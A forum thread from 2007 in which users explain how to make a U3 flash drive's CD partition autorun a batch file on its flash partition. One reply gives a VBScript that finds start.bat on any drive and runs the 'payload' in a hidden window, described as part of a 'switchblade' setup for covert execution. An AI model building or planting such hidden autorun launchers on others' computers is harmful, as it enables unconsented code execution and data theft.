Xqtftqx Posted December 1, 2007 Share Posted December 1, 2007 Alrighty im making a iso for my U3 drive and i need to tell the autorun.inf in the cd partion to call Start.bat on the Flash Partian how whould i do this. (Its probly realy easy i just didnt think of it :P) Quote Link to comment Share on other sites More sharing options...
GonZor Posted December 2, 2007 Share Posted December 2, 2007 Easiest way to do it is a quick vbs Set objFSO = CreateObject("Scripting.FileSystemObject") Set objShell = CreateObject("Wscript.Shell") Set colDrives = objFSO.Drives On Error Resume Next 'Detect which drive the payload is on For Each objDrive in colDrives 'ignore floppy drives - reserved by BIOS if they don't exist If UCase(objDrive.DriveLetter) <> "A" And UCase(objDrive.DriveLetter) <> "B" Then 'Search for Start.bat in the root of each drive If objFSO.FileExists(objDrive.DriveLetter & ":start.bat") Then 'Set strFD to the location of start.bat strFD = objDrive.Driveletter & ":start.bat" End If End if Next 'Run Payload objShell.Run strFD, 0, False 'Run Launchpad objShell.Run ".LaunchU3.exe -a", 0, False You will probably need to customize this a bit because I dont know the structure of your payload but thats the basic structure of what you will need. Obviously if you dont have the launchpad as part of your switchblade you would remove the line that starts it. Quote Link to comment Share on other sites More sharing options...
Volsfan91 Posted December 2, 2007 Share Posted December 2, 2007 With a U3 flash drive you just put the autorun.inf on the CD partition of the flash drive. This will autorun the start.bat in the flash partition similar to how a CD automatically starts an installation program. This will then open command prompt which will copy the files to the flash partition of the drive. I'm sorry if that is hard to understand. I'm not very good at explaining things and I myself am very new to this. That's what someone told me. Is that true? If so, that's your answer. Quote Link to comment Share on other sites More sharing options...
fretmelter66 Posted December 3, 2007 Share Posted December 3, 2007 umm to answer your last ?. it is true but the pc will ask u what u want to do and its not as fast as the cd drive partition way. and i used a batch script to do tht and told it to saerch for my file in drives A-Z Quote Link to comment Share on other sites More sharing options...
GonZor Posted December 3, 2007 Share Posted December 3, 2007 With a U3 flash drive you just put the autorun.inf on the CD partition of the flash drive. This will autorun the start.bat in the flash partition similar to how a CD automatically starts an installation program. This will then open command prompt which will copy the files to the flash partition of the drive. I'm sorry if that is hard to understand. I'm not very good at explaining things and I myself am very new to this. That's what someone told me. Is that true? If so, that's your answer. In short yes it is possible to do it that way, but you would be over complicating things. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.